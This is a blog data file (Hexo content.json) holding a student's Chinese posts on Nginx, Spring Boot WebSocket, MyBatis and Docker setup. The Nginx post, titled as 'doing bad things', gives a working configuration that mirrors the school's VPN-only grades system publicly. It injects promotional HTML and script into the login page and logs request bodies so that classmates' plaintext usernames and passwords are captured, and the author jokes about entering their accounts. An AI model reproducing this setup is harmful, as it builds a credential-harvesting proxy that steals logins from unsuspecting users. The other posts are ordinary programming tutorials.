-
Notifications
You must be signed in to change notification settings - Fork 0
/
content.json
1 lines (1 loc) · 34.1 KB
/
content.json
1
{"meta":{"title":"众里寻他千百度","subtitle":null,"description":null,"author":"Raven","url":"http://pengdan.raven520.top","root":"/"},"pages":[{"title":"关于","date":"2019-03-15T14:17:05.163Z","updated":"2019-03-15T14:17:05.163Z","comments":false,"path":"about/index.html","permalink":"http://pengdan.raven520.top/about/index.html","excerpt":"","text":"1234567891011121314151617181920212223242526 { name: 'cofess' age: 22, gender: '男', profession: 'Web Developer & Designer', experience: '大三', address: '合肥市', education: '本科', github: 'https://github.com/ravencoo', blog: 'https://blog.csdn.net/huijiaaa1', email: '[email protected]', description: '这个世界上,最美好的就是自由', skills: [ ['Html', 'Javascript', 'jQuery', 'CSS'], ['spring', 'springboot','springmvc','spring JPA'], ['mybatis', 'hibernate'], ['dubbo', 'druid'], ['后端开发'] ], devTools: [ ['Sublime Text', 'Visual Studio Code', 'Notepad++'], ['IDEA', 'myeclipse'] ] }"},{"title":"书单","date":"2019-03-15T12:35:52.129Z","updated":"2019-03-15T12:35:52.129Z","comments":false,"path":"books/index.html","permalink":"http://pengdan.raven520.top/books/index.html","excerpt":"","text":""},{"title":"分类","date":"2019-03-15T12:35:52.130Z","updated":"2019-03-15T12:35:52.130Z","comments":false,"path":"categories/index.html","permalink":"http://pengdan.raven520.top/categories/index.html","excerpt":"","text":""},{"title":"友情链接","date":"2019-03-15T12:35:52.132Z","updated":"2019-03-15T12:35:52.132Z","comments":true,"path":"links/index.html","permalink":"http://pengdan.raven520.top/links/index.html","excerpt":"","text":""},{"title":"Repositories","date":"2019-03-15T12:35:52.133Z","updated":"2019-03-15T12:35:52.133Z","comments":false,"path":"repository/index.html","permalink":"http://pengdan.raven520.top/repository/index.html","excerpt":"","text":""},{"title":"标签","date":"2019-03-15T12:35:52.134Z","updated":"2019-03-15T12:35:52.134Z","comments":false,"path":"tags/index.html","permalink":"http://pengdan.raven520.top/tags/index.html","excerpt":"","text":""}],"posts":[{"title":"想点法子用Nginx做\"坏事\"","slug":"想点法子用Nginx“做点坏事”","date":"2019-09-23T06:47:00.423Z","updated":"2019-10-01T09:02:18.646Z","comments":true,"path":"2019/09/23/想点法子用Nginx“做点坏事”/","link":"","permalink":"http://pengdan.raven520.top/2019/09/23/想点法子用Nginx“做点坏事”/","excerpt":"","text":"前言: 之前一直有个想法,就是如何把我们学校的VPN服务映射出去。因为我们每次查成绩的时候,还需要登陆VPN,真的有点麻烦哦。然后我就想着,既然我本地连接了VPN,那么本地就可以请求到查询成绩的站点,那我如何通过 我的电脑把该站点映射出去呢?emm…. 思索了几天之后,我想了好几个思路,比如说自己写一个web应用请求 正方教务系统的数据,其他同学请求我的web服务器就好了。只需要在他本地的“host”文件替换下请求的主机即可。但是后来想了下,这样有点不切实际。实际操作起来还是有点复杂的。 后来我突然想到了Nginx,对,以前也听过这个玩意。只知道他是做反响代理的服务器。这里很多同学们就有疑惑了。什么是正向代理呢?什么又是反向代理呢?那什么又是镜像网站呢?经常听说 镜像谷歌学术网站,镜像youtube…那这个原理又是什么呢?这个疑惑我稍后给大家讲解一下两者的区别。好了,接下来,进入正题吧。下载 Nginx.下载地址:[前去下载Nginx](http://nginx.org/en/download.html\\)这里要提醒一下,选择你自己操作系统对应的版本下载到本地即可。 接着解压到桌面,你能找到的地方。eg: 我解压在E盘下 接下来 ,进入 /conf ,找到 nginx.conf ,打开,编辑即可。以下是我的配置文件。这里我提取了两个比较重要的配置部分出来。1234567891011121314151617181920212223242526272829303132333435363738server { <!-- 本地监听端口--> listen 808; location / { root html; index index.html index.htm; <!-- 要代理的服务器地址--> proxy_pass http://219.231.36.51/; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; charset utf-8; <!-- 替换 文本内容--> sub_filter 'charset=gb2312' 'charset=utf-8'; sub_filter '<div class=\"login_left\">' '<script>console.log(\"hello world!\")</script><h1 style=\"color:red;font-size:20px; \">还在为登录不上VPN而被别人把好课都抢走而烦恼吗?</h1><h1 style=\"color:red;font-size:20px; \">那你现在可以不用担心了,因为有我。</h1><h1 style=\"color:red;font-size:20px; \">欢迎访问Raven为您提供的密道成绩系统,无需VPN,即可查成绩,选公选课。提供有体育在线测试考试一键满分(学期末考试周开放)。请收藏此站点!</h1><h1 style=\"color:red;font-size:20px; \"><a href=\"http://raven520.top\">前去我的主页</a></h1><div class=\"login_left\">'; } <!--缓存相关的配置--> location ~ .*\\.(gif|jpg|png|css|js|default2.aspx)(.*) { proxy_pass http://219.231.36.52/; proxy_redirect off; proxy_cache cache_one; proxy_cache_valid 200 302 24h; proxy_cache_valid 301 30d; proxy_cache_valid any 5m; expires 90d; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; charset utf-8; # add_header wall \"it is from cache!!!!!\"; #sub_filter 'charset=gb2312' 'charset=utf-8'; sub_filter '<div class=\"login_left\">' '<script>console.log(\"hello ~ world\")</script><<h1 style=\"color:red;font-size:20px; \">还在为登录不上VPN而被别人把好课都抢走而烦恼吗?</h1><h1 style=\"color:red;font-size:20px; \">那你现在可以不用担心了,因为有我。</h1><h1 style=\"color:red;font-size:20px; \">欢迎访问Raven为您提供的密道成绩系统,无需VPN,即可查成绩,选公选课。提供有体育在线测试考试一键满分(学期末考试周开放)。请收藏此站点!</h1><h1 style=\"color:red;font-size:20px; \"><a href=\"http://raven520.top\">前去我的主页</a></h1><div class=\"login_left\">'; } }配置完成了以后,启动Nginx, 可以进入nginx主目录,控制台 输入 start nginx。就可以启动nginx了。接下来,启动一个 内网穿透,帮助我们把我们的 主机映射出去。这里 我推荐 使用花生壳,Natapp…当然你也可以自己利用frp 自己搭建穿透的服务器。这里我不再强调如何搭建 内网穿透的服务器,而是 怎么 镜像代理别人的网站做一个简单的总结 。那么,接下来,我就用 花生壳,做一个简单的展示吧。配置好主机地址以及 要映射的端口。这里 我们是需要把 Nginx 反向代理的 接口暴露出去,即就是Nginx监听的端口 808。配置好,点击保存,然后打开花生壳送给我们注册的域名,就可以看到我们映射出去的资源了。如下图 。可以看到url是花生壳给我分配的二级域名(我们也可以绑定我们自己的域名,这里不做过多的说明)。而呈现的其中内容的一部分,也被我替换了。可以看到原本网页根本没有这些内容:干干净净。可是啊,同学,你以为这就结束了吗?我告诉你,并没有。因为,还有一个必杀技! 我们可以捕获到 通过我们 暴露连接 登录自己同学的 账号密码的信息(然并卵…,不过你可以登上他的教务系统看看他的照片啊哈哈哈。)。日志文件配置如下:12345http { log_format post_log '$remote_addr - $remote_user [$time_local] -- $request_body'; access_log logs/access.log post_log; }假设有人登录,那么,这时候进入 /logs目录,查看access.log文件,往下翻日志,就会看到下图的信息。图中打码部分是我的账号密码…这里要注意的是,因为post提交表单,正方教务系统没有对表达的数据密码进行加密!(安全???????额,好像前端加密也没意义,但总比没有好吧。),所以我们只需要对参数进行url解码即可得到该用户的密码。最后要总结的是,如果修改了配置文件,如何要Nginx重新加载配置文件呢?1234# Nginx 重新加载配置文件nginx -s reload # 停止 Nginx 的工作。 nginx -s stop 所谓的镜像网站原理实现就是比如Nginx 这样的,别人为你提供了 反向代理的 服务。通过你请求他的服务器,然后他的服务器获取到你想要的信息,返回给你。这就是所谓的镜像技术。请求流量之间多了一层代理,而这个代理,用户自己根本看不到这个代理的过程,因为你不知道别人的服务器是向哪个地址发起数据请求的。故 这种代理模式就称之为 反向代理。 而正向代理就很好理解了。就是这个过程是透明的,用户可以知道,如果用过 本地代理的都清楚,就是浏览器向 用户本地的某个 应用发起请求,这个 应用再向目标地址发起请求,这个过程就称之为正向代理,也就是说正向代理 是建立在 用户端上的,而反向代理是建立在服务端的。","categories":[{"name":"Nginx","slug":"Nginx","permalink":"http://pengdan.raven520.top/categories/Nginx/"}],"tags":[{"name":"Nginx","slug":"Nginx","permalink":"http://pengdan.raven520.top/tags/Nginx/"},{"name":"内网穿透","slug":"内网穿透","permalink":"http://pengdan.raven520.top/tags/内网穿透/"}]},{"title":"springboot整合websocket","slug":"springboot整合websocket的总结","date":"2019-09-23T05:17:02.139Z","updated":"2019-03-21T14:31:04.763Z","comments":true,"path":"2019/09/23/springboot整合websocket的总结/","link":"","permalink":"http://pengdan.raven520.top/2019/09/23/springboot整合websocket的总结/","excerpt":"","text":"springboot整合websocket的总结今天总结一下以往使用的websocket的两种方式|第一种:导入依赖12345<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web-services</artifactId> </dependency><dependency> 值得一提的是,导入 spring-boot-starter-web-services 之后,spring-boot-starter-web 这个场景启动器就可以不用加了,我们可以点开 spring-boot-starter-web-services 可以看到,spring-boot-starter-web-services 里面就有依赖spring-boot-starter-web ,所以无需重复添加新建一个配置类123456789101112import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;import org.springframework.web.socket.server.standard.ServerEndpointExporter;@Configurationpublic class WebSocketConfig { @Bean public ServerEndpointExporter serverEndpointExporter() { return new ServerEndpointExporter(); } }新建一个配置websocket的类123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123package com.websocket;import java.io.IOException;import java.util.concurrent.CopyOnWriteArraySet; import javax.websocket.OnClose;import javax.websocket.OnError;import javax.websocket.OnMessage;import javax.websocket.OnOpen;import javax.websocket.Session;import javax.websocket.server.ServerEndpoint; import lombok.extern.slf4j.Slf4j;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.stereotype.Component;@Slf4j@ServerEndpoint(value = \"/websocket\")@Componentpublic class WebSocketServer { //静态变量,用来记录当前在线连接数。应该把它设计成线程安全的。 private static int onlineCount = 0; //concurrent包的线程安全Set,用来存放每个客户端对应的MyWebSocket对象。 private static CopyOnWriteArraySet<WebSocketServer> webSocketSet = new CopyOnWriteArraySet<WebSocketServer>(); //与某个客户端的连接会话,需要通过它来给客户端发送数据 private Session session; private final static Logger log = LoggerFactory.getLogger(WebSocketServer.class); /** * 连接建立成功调用的方法*/ public WebSocketServer() { System.out.println(\"初始化!\"); } @OnOpen public void onOpen(Session session) { this.session = session; webSocketSet.add(this); //加入set中 addOnlineCount(); //在线数加1 log.info(\"有新连接加入!当前在线人数为\" + getOnlineCount()); try { sendMessage(\"连接成功\"); } catch (IOException e) { log.error(\"websocket IO异常\"); } } /** * 连接关闭调用的方法 */ @OnClose public void onClose() { webSocketSet.remove(this); //从set中删除 subOnlineCount(); //在线数减1 log.info(\"有一连接关闭!当前在线人数为\" + getOnlineCount()); } /** * 收到客户端消息后调用的方法 * * @param message 客户端发送过来的消息*/ @OnMessage public void onMessage(String message, Session session) { log.info(\"来自客户端的消息:\" + message); //群发消息 for (WebSocketServer item : webSocketSet) { try { item.sendMessage(message); } catch (IOException e) { e.printStackTrace(); } } } /** * * @param session * @param error */ @OnError public void onError(Session session, Throwable error) { log.error(\"发生错误\"); error.printStackTrace(); } public void sendMessage(String message) throws IOException { session.getBasicRemote().sendText(message); } /** * 群发消息 * */ public static void sendInfo(String message) throws IOException { log.info(message); for (WebSocketServer item : webSocketSet) { try { item.sendMessage(message); } catch (IOException e) { continue; } } } public static synchronized int getOnlineCount() { return onlineCount; } public static synchronized void addOnlineCount() { WebSocketServer.onlineCount++; } public static synchronized void subOnlineCount() { WebSocketServer.onlineCount--; }}新建一个html文本12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455<html xmlns=\"http://www.w3.org/1999/xhtml\"><head> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>WebSocket Echo Demo</title> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\"/> <script src=\"js/jquery-1.12.3.min.js\"></script> <script> var ws = new WebSocket(\"ws://localhost:8080/websocket\"); ws.onopen = function (e) { console.log('Connection to server opened'); } function sendMessage() { ws.send($('#message').val()); } ws.onmessage = function (evt) { var received_msg = evt.data; alert(received_msg); }; ws.onclose = function(){ // 关闭 websocket alert(\"连接已关闭...\"); }; ws.onerror = function(err) { alert(\"Error: \" + err); }; </script></head> <body > <div class=\"vertical-center\"> <div class=\"container\"> <p> </p> <form role=\"form\" id=\"chat_form\" onsubmit=\"sendMessage(); return false;\"> <div class=\"form-group\"> <input class=\"form-control\" type=\"text\" name=\"message\" id=\"message\" placeholder=\"Type text to echo in here\" value=\"\" /> </div> <button type=\"button\" id=\"send\" class=\"btn btn-primary\" onclick=\"sendMessage();\"> Send! </button> </form> </div> </div></body></html>第二种: 第二种相对来说麻烦一点,需要配置握手拦截器(HttpSessionHandshakeInterceptor) 以及实现一个WebSocketConfigurer。1.老规矩 引入websocket依赖(具体版本可以自己添加 不过springboot 默认会由一个版本)12345<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web-services</artifactId> </dependency><dependency>2.配置一个Handle123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990package springboot;import java.io.IOException;import java.util.ArrayList;import java.util.HashMap;import java.util.List;import java.util.Map;import java.util.Map.Entry;import org.springframework.web.socket.CloseStatus; import org.springframework.web.socket.TextMessage; import org.springframework.web.socket.WebSocketHandler; import org.springframework.web.socket.WebSocketMessage; import org.springframework.web.socket.WebSocketSession; //extending either TextWebSocketHandler orBinaryWebSocketHandler public class MyHandler implements WebSocketHandler { public Map<WebSocketSession,String> map = new HashMap<WebSocketSession,String >(); //连接关闭后 @Override public void afterConnectionClosed(WebSocketSession arg0, CloseStatus arg1) throws Exception { // TODO Auto-generated method stub System.out.println(\"Connection closed...\"+arg0.getRemoteAddress().toString()); map.remove(arg0); } //连接建立后 @Override public void afterConnectionEstablished(WebSocketSession arg0) throws Exception { // TODO Auto-generated method stub System.out.println(\"Connection established...\"+arg0.getRemoteAddress().toString()); } //收到消息后 @Override public void handleMessage(WebSocketSession arg0, WebSocketMessage<?> arg1) throws Exception { // TODO Auto-generated method stub try { if(map.containsKey(arg0)) { System.out.println(\"Req: \"+arg1.getPayload()); TextMessage returnMessage = new TextMessage(map.get(arg0)+\":\"+arg1.getPayload().toString()); //arg0.sendMessage(returnMessage); SendAllUser(returnMessage); }else { map.put(arg0,arg1.getPayload().toString()); } } catch (Exception e) { e.printStackTrace(); } } private void SendAllUser(TextMessage returnMessage) { // TODO Auto-generated method stub if(map.size()!=0) { for (Entry<WebSocketSession, String> entry : map.entrySet()) { try { entry.getKey().sendMessage(returnMessage); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } }//错误后(客户端强制断开) @Override public void handleTransportError(WebSocketSession arg0, Throwable arg1) throws Exception { // TODO Auto-generated method stub if(arg0.isOpen()){ arg0.close(); } map.remove(arg0); System.out.println(arg1.toString()); System.out.println(\"WS connection error,close...\"); } @Override public boolean supportsPartialMessages() { // TODO Auto-generated method stub return false; } }配置一个握手拦截器(拦截请求)1234567891011121314151617181920212223242526272829303132333435package springboot;import java.util.Map; import org.springframework.http.server.ServerHttpRequest; import org.springframework.http.server.ServerHttpResponse; import org.springframework.web.socket.WebSocketHandler; import org.springframework.web.socket.server.support.HttpSessionHandshakeInterceptor; /** * * 类描述:握手拦截器 * com.watcher.websocket.spring MyHandshakeInterceptor * Created by 78098 on 2016年11月15日. * version 1.0 */ public class MyHandshakeInterceptor extends HttpSessionHandshakeInterceptor{ @Override public void afterHandshake(ServerHttpRequest request, ServerHttpResponse response, WebSocketHandler wsHandler, Exception ex) { // TODO Auto-generated method stub System.out.println("After handshake "+request.getRemoteAddress().toString()); super.afterHandshake(request, response, wsHandler, ex); } @Override public boolean beforeHandshake(ServerHttpRequest request, ServerHttpResponse response, WebSocketHandler handler, Map<String, Object> map) throws Exception { // TODO Auto-generated method stub System.out.println("Before handshake "+request.getRemoteAddress().toString()); return super.beforeHandshake(request, response, handler, map); } }4.实现配置类12345678910111213141516171819202122232425262728293031323334353637package springboot; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.web.socket.config.annotation.EnableWebSocket; import org.springframework.web.socket.config.annotation.WebSocketConfigurer; import org.springframework.web.socket.config.annotation.WebSocketHandlerRegistry; @Configuration //配置类 @EnableWebSocket //声明支持websocket public class WebSocketConfig implements WebSocketConfigurer{ @Override public void registerWebSocketHandlers(WebSocketHandlerRegistry registry) { //注册websocket实现类,指定参数访问地址;allowed-origins=\"*\" 允许跨域 registry.addHandler(myHandler(), \"/ws\").addInterceptors(myHandshake()).setAllowedOrigins(\"*\"); //允许客户端使用SockJS registry.addHandler(myHandler(), \"/sockjs/ws\").addInterceptors(myHandshake()).withSockJS(); /* registry.addHandler(myHandler(), \"/webSocket\"); registry.addHandler(myHandler(), \"/webSocket/socketJs\").withSockJS();*/ } @Bean public MyHandler myHandler(){ return new MyHandler(); } @Bean public MyHandshakeInterceptor myHandshake(){ return new MyHandshakeInterceptor(); } }1以上就是springboot使用websocket的两种方法,用了websocket感觉真的挺简单的,原来,我们有了springboot,世界如此简单。还有一种node.js也可以搭建websocket后台服务器,那个就更简单了。。有兴趣的可以试试。","categories":[{"name":"websocket","slug":"websocket","permalink":"http://pengdan.raven520.top/categories/websocket/"},{"name":"springboot","slug":"websocket/springboot","permalink":"http://pengdan.raven520.top/categories/websocket/springboot/"}],"tags":[{"name":"websocket","slug":"websocket","permalink":"http://pengdan.raven520.top/tags/websocket/"},{"name":"springboot","slug":"springboot","permalink":"http://pengdan.raven520.top/tags/springboot/"}]},{"title":"mybatis的总结(1)","slug":"mybatis总结","date":"2019-09-23T05:17:02.137Z","updated":"2019-03-22T10:58:26.005Z","comments":true,"path":"2019/09/23/mybatis总结/","link":"","permalink":"http://pengdan.raven520.top/2019/09/23/mybatis总结/","excerpt":"","text":"mybatis-config.xml 标签属性1234<typeAliases> <typeAlias type=\"com.raven.pojo.hello\" alias=\"he\"/> <package name=\"com.ranve.bean\"/></typeAliases>标签:为这个类起别名 ,不添加==alias==属性默认为 ==类名首字母小写== ,该值可以在==mapper.xml==文件的==resultType==属性种引用标签:为这个包的所有类起别名,类名首字母小写,为了防止 这个包下的实体类和子包的实体类名冲突,那么可以再类名上 用注解 ==@Alias(“value”)==起别名注意:别名用的时候不区分大小写1234567891011121314151617181920212223242526272829303132<environments default=\"development\"> <environment id=\"development\"> <transactionManager type=\"JDBC\"/> <dataSource type=\"POOLED\"> <property name=\"driver\" value=\"${jdbc.driver}\"/> <property name=\"url\" value=\"${jdbc.url}\"/> <property name=\"username\" value=\"${jdbc.username}\"/> <property name=\"password\" value=\"${jdbc.passwd}\"/> </dataSource> </environment> <environment id=\"test\"> <transactionManager type=\"JDBC\"/> <dataSource type=\"POOLED\"> <property name=\"driver\" value=\"${jdbc.driver}\"/> <property name=\"url\" value=\"${jdbc.url}\"/> <property name=\"username\" value=\"${jdbc.username}\"/> <property name=\"password\" value=\"${jdbc.passwd}\"/> </dataSource> </environment></environments><!-- databaseIdProvider 得到数据库厂商的表示,mybaits可以识别 在mapper.xml的属性 databaseId 种填写value的值即可--><databaseIdProvider type=\"DB_VENDOR\"> <property name=\"MySQL\" value=\"mysql\"/> <property name=\"Oracle\" value=\"oracle\"/> <property name=\"SQL Server\" value=\"sqlserver\"/></databaseIdProvider>可以通过标签的==default==属性指定数据源mapper标签详解:12345678910111213141516171819<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\"><mapper namespace=\"com.raven.dao.PayMapper\"> <insert parameterType=\"com.raven.pay\" id=\"insertPay\"> insert into t_pay(id,paytime,payname) values(0,#{paytime},# {payname}) </insert> <select resultType=\"com.raven.pay\" id=\"selectPay\"> select id,paytime,paytime from t_pay where id=#{id} </select> <update id=\"updatePay\"> updata t_pay set payname=#{payname},paytime=#{paytime} </update> <delete id=\"deletePay\"> delete from t_pay whereid=#{id} </delete></mapper>==parameterType==的意思是传来的参数类型,mybatis后面生成sql语句,会自动取出该对象的属性值到对应的#{}表达式中,==paramterType一般也可以省略不写==。==resultType==的意思是返回的参数类型,就是查询出来mybatis会给你把查出来的参数封装成一个对象。==id==属性又是什么意思呢?这个也是必须写的,你有没有想过一个问题,就是为什么我们只写一个接口mapper,再写一个mapper.xml文件,然后调用 sqlsession.getMapper(T class);就可以直接调用里面的方法呢?这个对象是谁实现的呢?mybatis为我们构造mapper代理对象的时候通过==namespace.id==实现了该接口的每个方法,它的原理就是这么来的。另外呢,对于mysql数据库而言,平时我们插入数据之后,有可能想获取自增后id的值,那么只需要再==insert==标签 使用如下两个属性即可123<insert parameterType=\"com.raven.pay\" id=\"insertPay\" useGeneratedKeys=\"true\" keyProperty=\"id\"> insert into t_pay(id,paytime,payname) values(0,#{paytime},# {payname})</insert>==useGeneratedKeys==表示自增主键获取主键值策略==keyProperty==表示获取到主键值以后,将这个值封装给javaBean的那个属性值中。而对于 Oracle数据库而言就稍微麻烦一点了。如下:123456<insert parameterType=\"com.raven.pay\" id=\"insertPay\" databaseId=\"oracle\"> <selectKey keyProperty=\"id\" order=\"BEFORE\" resultType=\"Integer\"> select PAY_SEQ.nextval from dual </selectKey> insert into t_pay(id,paytime,payname) values(#{id},#{paytime},# {payname})</insert>运行过程:先运行selectKey查出id,然后再封装给javabean的属性。==注意:这里使用了databaseId属性,也就是说你需要再 mybatis-config.xml中配置该数据库的厂商信息==mybatis多个参数查询 注意事项多参数 查询 方法参数需注解 ==@Param==,不加的话,那么会抛出异常,如若不想加@Param,还有一种解决方案就是把sql语句的id=#{id }改成 id=#{param1},#{payname}改成 #{param2},因为mybatis底层默认是把参数封装到map里,所以我们可以用 #{param1}…..#{paramn}取参数,也可以把param换成arg ,即用#{arg0}取值。==如果该方法参数是个list类型,那么可以通过 #{list[0]}…#{list[n]}取到值==mapper1public Pay getPay(@Param("id")Stirng id,@Param("payname")String payname);mapper.xml123<select id=\"getPay\" resultType=\"com.raven.pojo.Pay\"> select * from t_pay where id=#{id} and payname=#{payname}</select>推荐做法1:直接传入==业务逻辑数据模型==,如下:(这样也可以直接取)1public Pay getPay(Pay pay);123<select id=\"getPay\" resultType=\"com.raven.pojo.Pay\"> select * from t_pay where id=#{id} and payname=#{payname}</select>推荐做法2:如果没有对应的==pojo==,那么可以定义并给方法传入一个 Map类型的对象,把要传递的参数值都put进map对象,之后把也可以向推荐做法1那样直接取值。mybatis中 #{} 和${}的区别?#{} 是已预编译的形式,将参数设置到sql语句,PreparedStatement也可以防止sql注入。(安全 )${} 是 把 参数的值 直接拼装到sql语句中,会有安全问题。mybatis 如何返回 map类型,并且 指定 key 是自定义参数? 使用@MapKey标注在方法上即可,value的值为 map 封装 key 的字段属性12@MapKey(\"name\")public Map<String,Pay> getPayNameLike(String name);123<select id="getPay" resultType="map"> select * from t_pay where name like #{name}</select>resultMap 标签详解如下图示例:我们使用了select标签的时候,查询某个pojo对象,这个对象的某个属性不是java的基本类型,而是一个对象,那么这个时候我们就可以使用到了 这个resutMap 属性,注意:在<select>标签里,要么使用resultMap要么使用resultType,只能使用一个,这个时候,我们就可以配置映射集了,即resultMap就是会我们封装对象的。看上图的<association>标签,其中的property属性代表了 当前==pojo对象的某个是对象的属性==,如我的值 是xsdcode,那么就是我这个实体类的xsdcode这个对象的这个属性是个对象。column 属性代表 这个属性对应的数据表字段。select属性代表 查询这个 属性对象的对应查询语句。即就是指向了它自己mapper文件的对应查询语句。","categories":[{"name":"mybatis","slug":"mybatis","permalink":"http://pengdan.raven520.top/categories/mybatis/"}],"tags":[{"name":"mybatis","slug":"mybatis","permalink":"http://pengdan.raven520.top/tags/mybatis/"}]},{"title":"Hello World","slug":"hello-world","date":"2019-09-23T05:17:02.135Z","updated":"2019-03-15T12:19:57.599Z","comments":true,"path":"2019/09/23/hello-world/","link":"","permalink":"http://pengdan.raven520.top/2019/09/23/hello-world/","excerpt":"","text":"Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.Quick StartCreate a new post1$ hexo new \"My New Post\"More info: WritingRun server1$ hexo serverMore info: ServerGenerate static files1$ hexo generateMore info: GeneratingDeploy to remote sites1$ hexo deployMore info: Deployment","categories":[],"tags":[]},{"title":"docker的初体验","slug":"docker的初体验","date":"2019-09-23T05:17:02.133Z","updated":"2019-09-23T05:23:11.301Z","comments":true,"path":"2019/09/23/docker的初体验/","link":"","permalink":"http://pengdan.raven520.top/2019/09/23/docker的初体验/","excerpt":"","text":"docker的初体验早都听说过docker,但是一直却不知道它是什么?今天有时间就研究了一下怎么安装并使用docker,特此记录一下。首先呢,我们需要安装自己的一款虚拟机,具体教程可以百度。第二步,就是下载一款linux系统,这里我推荐使用centos。下载链接第三步,就是安装centos了,这些都不是最重要的,而且整个过程也很简单,就不一一记录了。1.安装好了centos之后,使用命令先安装 vim编译器:1yum -y install vim*2.因为docker 要求 CentOS 系统的内核版本高于 3.10,所以先通过1uname -r查看内核版本是否满足,如果小于3.10,那么使用以下命令更新内核。1sudo yum update运行以下命令1234567891011121314#安装一些必要的系统工具:sudo yum install -y yum-utils device-mapper-persistent-data lvm2添加软件源信息:sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo更新 yum 缓存:sudo yum makecache fast安装 Docker-ce:sudo yum -y install docker-ce运行dockersudo systemctl start docker想运行一个docker 的helloworld容器,但是却找不到。1sudo docker run hello-world这时候 进入 /etc/docker 目录,新建一个daemon.json文件(如果该文件存在,那么在后面追加内容即可)1234567# 新建文件touch daemon.json# 编辑文件vim /etc/docker#增加以下内容: { "storage-driver": "devicemapper"}保存退出vim编辑器,然后就可以运行 helloworld 啦~ 最后想给docker容器安装一下 mysql,却发现查找不到。。解决方案:1234# 安装dig命令yum install bind-utilsdig @114.114.114.114 registry-1.docker.io运行完可见下图:再上面随便选择一个ip,最后呢,再修改hosts文件,12cd /etc vim hosts添加以下dns映射即可,之后退出vim。1234567891011121314151617#重启 docker容器。sudo service docker restart#查找musqldocker search mysql#安装msqldocker pull mysql#进入容器docker exec -it mysql bash#登录mysqlmysql -u root -pALTER USER 'root'@'localhost' IDENTIFIED BY '你要设置的密码';#添加远程登录用户CREATE USER '你的昵称'@'%' IDENTIFIED WITH mysql_native_password BY '你的密码';GRANT ALL PRIVILEGES ON *.* TO '你的昵称'@'%';接着我们root用户使用Navicat连接容器的mysql,却报错Client does not support authentication protocol requested by server; consider upgrading MySQL,于是:123ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '你的密码';ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '你的密码';SELECT plugin FROM mysql.user WHERE User = 'root';即可连接成功,最后想退出docker容器,注意不是关闭docker服务 ,因为我们刚才进入mysql容器,所以不用的时候可以退出docker命令。使用命令 exit 即可","categories":[{"name":"docker","slug":"docker","permalink":"http://pengdan.raven520.top/categories/docker/"}],"tags":[{"name":"linux","slug":"linux","permalink":"http://pengdan.raven520.top/tags/linux/"},{"name":"docker","slug":"docker","permalink":"http://pengdan.raven520.top/tags/docker/"}]}]}